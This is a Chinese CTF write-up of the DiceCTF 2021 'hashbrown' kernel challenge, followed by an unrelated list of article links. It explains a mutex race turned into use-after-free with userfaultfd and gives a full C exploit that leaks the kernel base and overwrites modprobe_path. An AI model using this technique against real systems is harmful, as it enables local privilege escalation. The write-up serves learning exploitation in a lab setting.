【互斥锁不当使用导致的条件竞争】2021_DiceCTF_hashbrown

前言

这个题目还挺有意思的,他并不像之前做的题目直接给你一个贴脸的 UAF 等,而是把 UAF 放在了条件竞争的环境下,其实条件竞争这个漏洞在内核中经常出现。

这里题目没有去符号,所以逆向的难度不是很大,但作者似乎在比赛几个小时后就放出了源码,应该是看做的人比较少。但我建议读者直接进行逆向,因为题目没有去符号所以逆向难度不是很大,而且还可以锻炼一下逆向的能力。笔者就是逆向能力比较弱,但如果在真实场景中,逆向能力还是很重要的(扯的有点远了)。

漏洞分析

保护:开了 smap、smep、pti、kaslr 基本都是标配了

并且具有如下编译选项:用的 slab,所以堆上不存在 freelist,而且开了 FG-KASLR。内核版本 v-5.11.0,userfaultfd 最后的荣光

CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB=y
CONFIG_FG_KASLR=y

题目维护着一个哈希结构:bucket_count 初始为 0x10,entry_count_max 初始为 0xc

其中 entry_count 最大 1024,bucket_count 最大 511

函数比较多,有 add_key / delete_key / delete_value / get_value / update_value / resize 函数,就分析漏洞利用中关键的函数了,而且函数功能从名字就可以看出来了。

其中操作 resize 时使用的是 resize_lock 互斥锁,而其他函数都是使用的 operations_lock 互斥锁:

这里其实就非常明显的条件竞争了,如果题目只使用一个互斥锁的话,那么这个模块就是安全的。

用户需要传入如下结构体:这里笔者将用户传入的 request_t 结构体称作 req

typedef struct request_t {uint32_t key;uint32_t value_size;char* src;char* dest;
}request_t;

漏洞点

 1)当 hashmap 中 entry_count < entry_count_max 时

根据 req.key 与 hashmap.bucket_count 计算出一个 hask_idx,然后根据 req.value_size/src 创建一个 hask_entry,并将其链入链表尾

2)当 当 hashmap 中 entry_count == entry_count_max 并且 hashmap.bucket_count <= 511 时

这时候会调用 resize 函数扩充 buckets,这里 entry_count_max 之所以不是 bucket_count,笔者认为是为了避免哈希冲突。

整体的逻辑比较简单,将 bucket_count 扩大两倍,然后重新分配 bockets 数组,并重新分配 hash_entry 即 new_hash_entry,并把原来的 hash_entry 内容复制到 new_hash_entry,所以这里复用了 value 堆块(这里笔者想了想 old_hash_entry 也可以直接复用啊,可以是为了做题吧)。然后根据用户传入的 key 判断是否需要创建新的 hash_entry,最后将 new_bockets 链入 hashmap 中,然后释放掉所有的原来的 hash_entry

可以看到,这里使用了 copy_from_user,并且这里 hashmap.buckets 中链接的是原来的 buckets,所以如果我们利用 userfaultfd 卡住,然后在另外的线程中就可以释放 value,这时候新的 new_buckets 中 hash_enrty.value 保存的还是该指针。

这里我不知道咋表述,画了个图:

比如我们用 userfaultfd 将其卡住,这是我们在另一个线程中释放掉 value,那么最后 new_buckets 链入 hashmap 时就存在 UAF。

漏洞利用

value 的大小限制为 [1,0xb0],所以想法还是挺多的。这里笔者打的是 modprobe_path

 1)shm_file_data 泄漏 kernel_offset

这里笔者利用的是 shm_file_data 去泄漏 kernel_offset,很简单,将 value 释放掉,然后分配 shm_file_data 拿到 UAF 堆块,然后利用 get_vaule 即可得到 shm_file_data 中的数据

2)任意地址写 modprobe_path

这里就是简单的堆风水,形成如下堆布局:

这样就可以通过 hash_entry_1 去修改 hash_entry_2 的 value_ptr 指针指向 modprobe_path,然后在利用 hash_entry_2 去修改 modprobe_path 的内容

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#define SHM_FILE_DATA_NUMS 0x100
int fd;
int shm_id;
int shm_ids[SHM_FILE_DATA_NUMS];
size_t init_ipc_ns = 0xffffffff81b0dca0;
size_t kernel_offset = 0;typedef struct request_t {uint32_t key;uint32_t value_size;char* src;char* dest;
}request_t;void add_key(uint32_t key, uint32_t value_size, char* src)
{request_t req = { .key = key, .value_size = value_size, .src = src };ioctl(fd, 0x1337, &req);
}void dele_value(uint32_t key)
{request_t req = { .key = key };ioctl(fd, 0x133A, &req);
}void get_value(uint32_t key, uint32_t value_size, char* dest)
{request_t req = { .key = key, .value_size = value_size, .dest = dest };ioctl(fd, 0x133B, &req);
}void update_value(uint32_t key, uint32_t value_size, char* src)
{request_t req = { .key = key, .value_size = value_size, .src = src };ioctl(fd, 0x1339, &req);
}void dele_key(uint32_t key)
{request_t req = { .key = key };ioctl(fd, 0x1338, &req);
}void resize(uint32_t key, uint32_t value_size, char* src)
{request_t req = { .key = key, .value_size = value_size, .src = src };ioctl(fd, 0x1337, &req);
}uint32_t get_hash_idx(uint32_t key, uint32_t size)
{return (size - 1) & ((key >> 12) ^ (key >> 20) ^ key ^ (((key >> 12) ^ (key >> 20) ^ key) >> 4) ^ (((key >> 12) ^ (key >> 20) ^ key) >> 7));
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");memset(copy_src, 'B', sizeof(copy_src));dele_value(0);if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0666|IPC_CREAT)) < 0) err_exit("FAILED to shmget");if (shmat(shm_id, NULL, 0) < 0) err_exit("FAILED to shmat");for (int i = 1; i < 0xc; i++){dele_value(i);}
//              dele_value(1);
//              dele_value(2);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag.txt' > /home/ctf/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /home/ctf/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/dummy"); // 非法格式的二进制文件system("chmod +x /home/ctf/dummy");system("/home/ctf/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /flag.txt");exit(0);
}int main(int argc, char** argv, char** envp)
{bind_core(0);fd = open("/dev/hashbrown", O_RDWR);if (fd < 0) err_exit("FAILED to open dev file");char buf[0x20];char* uffd_buf  = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);pthread_t uffd_thr;if (uffd_buf == NULL) err_exit("FAILED to mmap for uffd_buf");register_userfaultfd(&uffd_thr, uffd_buf, 0x1000, handler);memset(buf, 'A', sizeof(buf));
//      for (int i = 0; i < 0xc; i++)
//              printf("%d ==> %d\n", i, get_hash_idx(0x10, i));add_key(0, 0x20, buf);for (int i = 1; i < 0xc; i++){add_key(i, 0x18, buf);}resize(0xc, 0x40, uffd_buf);get_value(0, 0x20, buf);binary_dump("shm_file_data", buf, 0x20);kernel_offset = *(size_t*)(buf+0x8) - init_ipc_ns;hexx("kernel_offset", kernel_offset);for (int i = 0; i < 0xc+0xc/2; i++){if ((shm_ids[i] = shmget(IPC_PRIVATE, 0x1000, 0666|IPC_CREAT)) < 0) err_exit("FAILED to shmget");if (shmat(shm_ids[i], NULL, 0) < 0) err_exit("FAILED to shmat");}memset(buf, 'B', sizeof(buf));add_key(0xd, 0x18, buf);
/*for (int i = 0; i < 0xe; i++){memset(buf, 0, sizeof(buf));get_value(i, 0x18, buf);printf("hash entry idx: %#x ==> ", i);binary_dump("hash entry data", buf, 0x20);}
*/*(uint32_t*)buf = 0xd;*(uint32_t*)(buf+4) = 0x18;*(uint64_t*)(buf+0x8) = 0xffffffff81a46fe0+kernel_offset;*(uint64_t*)(buf+0x10) = 0;update_value(5, 0x18, buf);memset(buf, 0, sizeof(buf));get_value(0xd, 0x18, buf);binary_dump("hash entry d", buf, 0x20);memset(buf, 0, sizeof(buf));strcpy(buf, "/home/ctf/x");update_value(0xd, 0x18, buf);get_flag();puts("[X] EXP NEVER END");return 0;
}

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/205082.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android蓝牙协议栈fluoride(二) - 软件框架

概述 fluoride 协议栈在整个软件框架中作为一个中间件的角色&#xff0c;向上对接APP&#xff0c;向下对接蓝牙芯片。fluoride采用C语言实现&#xff0c;与APP(Jave)通信采用JNI机制&#xff1b;与蓝牙芯片通信使用HCI硬件接口&#xff08;HCI软件协议参考蓝牙核心规范&#x…

毕设:《基于hive的音乐数据分析系统的设计与实现》

文章目录 环境启动一、爬取数据1.1、歌单信息1.2、每首歌前20条评论1.3、排行榜 二、搭建环境1.1、搭建JAVA1.2、配置hadoop1.3、配置Hadoop环境&#xff1a;YARN1.4、MYSQL1.5、HIVE(数据仓库)1.6、Sqoop&#xff08;关系数据库数据迁移&#xff09; 三、hadoop配置内存四、导…

FFA 2023 明日开幕,Flink 智能诊断、小红书流批一体实践精彩来袭

近年来&#xff0c;流批一体的技术思想势头火热&#xff0c;即“将批处理和流处理相结合&#xff0c;实现更好的数据处理能力”&#xff0c;已成功从理论层面走进现实世界。Flink 是一款高吞吐量、低延迟的流处理引擎&#xff0c;具备统一接口、高性能、低延迟、容错性和可扩展…

绑定域名简单教程

&#x1f4d1;打牌 &#xff1a; da pai ge的个人主页 &#x1f324;️个人专栏 &#xff1a; da pai ge的博客专栏 ☁️宝剑锋从磨砺出&#xff0c;梅花香自苦寒来 &#x1f324;️安装Nginx环境 &…

2024黑龙江省职业院校技能大赛信息安全管理与评估赛项规程

2024黑龙江省职业院校技能大赛暨国赛选拔赛 “GZ032信息安全管理与评估”赛项规程 极安云科专注技能竞赛&#xff0c;包含网络建设与运维和信息安全管理与评估两大赛项&#xff0c;及各大CTF&#xff0c;基于两大赛项提供全面的系统性培训&#xff0c;拥有完整的培训体系。团队…

【Qt开发流程】之元对象系统

描述 Qt的元对象系统&#xff08;Meta-Object System&#xff09;是Qt框架的核心机制之一&#xff0c;它提供了运行时类型信息&#xff08;RTTI&#xff09;和信号与槽&#xff08;Signals and Slots&#xff09;机制的支持。元对象系统在Qt中扮演了很重要的角色&#xff0c;它…

适合炎热天气的最佳葡萄酒有哪些?

每年的夏天&#xff0c;白葡萄酒和玫瑰红葡萄酒总会是葡萄酒爱好者的首选&#xff0c;这是为什么呢&#xff1f;随着春天的逝去&#xff0c;夏天悄悄地到来&#xff0c;空气变得炎热和沉重&#xff0c;树木变得越来越郁郁葱葱&#xff0c;白天的时间更长而晴朗了。多雨的五月变…

12.7作业

1. #include "mywidget.h"MyWidget::MyWidget(QWidget *parent): QWidget(parent) {//***********窗口相关设置***********//设置窗体大小this->resize(540,410);this->setFixedSize(540,410);//取消菜单栏this->setWindowFlag(Qt::FramelessWindowHint);/…

SuperMap iObject.NET三维场景拖拽框选实现详解及完整源代码(一)——环境准备及项目配置

作者&#xff1a;超图研究院技术支持中心-于丁1 SuperMap iObject.NET三维场景拖拽框选实现详解及完整源代码&#xff08;一&#xff09;——环境准备及项目配置   三维场景框选是一种在三维空间中进行选择和操作的功能&#xff0c;它可以让使用者通过鼠标拖动来创建一个矩形…

Verilog学习 | 用initial语句写出固定的波形

initial beginia 0;ib 1;clk 0;#10ia 1; #20ib 0;#20ia 0; endalways #5 clk ~clk; 或者 initial clk 0;initial beginia 0;#10ia 1; #40ia 0; endinitial beginib 1;#30 ib 0; endalways #5 clk ~clk;

新书推荐——《Copilot和ChatGPT编程体验:挑战24个正则表达式难题》

《Copilot和ChatGPT编程体验&#xff1a;挑战24个正则表达式难题》呈现了两方竞争的格局。一方是专业程序员David Q. Mertz&#xff0c;是网络上最受欢迎的正则表达式教程的作者。另一方则是强大的AI编程工具OpenAI ChatGPT和GitHub Copilot。 比赛规则如下&#xff1a;David编…

基于jsp+servlet的在线考试系统

基于jspservlet的在线考试系统, 演示地址:英语在线考试系统考生测试账号:用户名:stu,密码:stu,管理员测试账号用户名:admin,密码:admin &#xff08;源码里包含数据库文件&#xff09; 本系统分为两个角色&#xff0c;一个时考生&#xff0c;一个是管理员&#xff0c;考生可…

架构师一1.功能权限

1. RBAC 权限模型 系统采用 RBAC 权限模型&#xff0c;全称是 Role-Based Access Control 基于角色的访问控制。 简单来说&#xff0c;每个用户拥有多个角色&#xff0c;每个角色拥有多个菜单&#xff0c;菜单中存在菜单权限、按钮权限。这样&#xff0c;就形成了 “用户<-…

第二十一章网络通信总结博客

网络程序设计基础 局域网与互联网 为了实现两台计算机的通信&#xff0c;必须用一个网络线路连接两台计算机。如下图所示 网络协议 1.IP协议 IP是Internet Protocol的简称&#xff0c;是一种网络协议。Internet 网络采用的协议是TCP/IP协议&#xff0c;其全称是Transmissio…

Linux 环境变量 与 命令行参数

什么是环境变量 从结构上来看&#xff0c;环境变量就是操作系统维护的一组&#xff1a;key-value 的键值对。 不知道你是否有一个疑问&#xff1a;为什么我们写代码编译链接 形成的可执行程序要运行起来需要带路径呢&#xff1f;Linux 内置的命令也是可执行程序&#xff0c;为…

html刷题笔记

1 em 12 pt 16 px 100% source元素为audio、video、picture元素指定多个媒体文件 margin是用来隔开元素与元素的间距&#xff1b;padding是用来隔开元素与内容的间隔。 margin用于布局分开元素使元素与元素互不相干&#xff1b;padding用于元素与内容之间的间隔&#xff0c;…

【前端架构】清洁前端架构

探索前端架构&#xff1a;概述与干净的前端架构相关的一些原则&#xff08;SOLID、KISS、DRY、DDD等&#xff09;。 在我之前的一篇帖子中&#xff0c;我谈到了Signals和仍然缺少的内容[1]。现在&#xff0c;我想谈谈一个更通用的主题&#xff0c;即Clean Frontend Architectu…

Mysql综合案例练习<1>

MySql综合案例练习<1> 题目一题目二题目三题目四题目五题目六题目七题目八题目九题目十题目十一题目十二题目十三题目十四题目十五题目十六题目十七题目十八题目十九 题目一 创建数据库test01_library 创建表 books&#xff0c;表结构如下&#xff1a; CREATE DATABASE …

量子纠缠通讯:未来通讯技术的革命性突破

量子纠缠通讯:未来通讯技术的革命性突破 引言 随着科学技术的不断发展,量子纠缠通讯已成为当今最热门的研究领域之一。作为一种革新性的通讯技术,量子纠缠通讯有望为我们的信息安全和传输速度带来前所未有的提升。那么,究竟什么是量子纠缠通讯,它的原理又是如何的呢?本…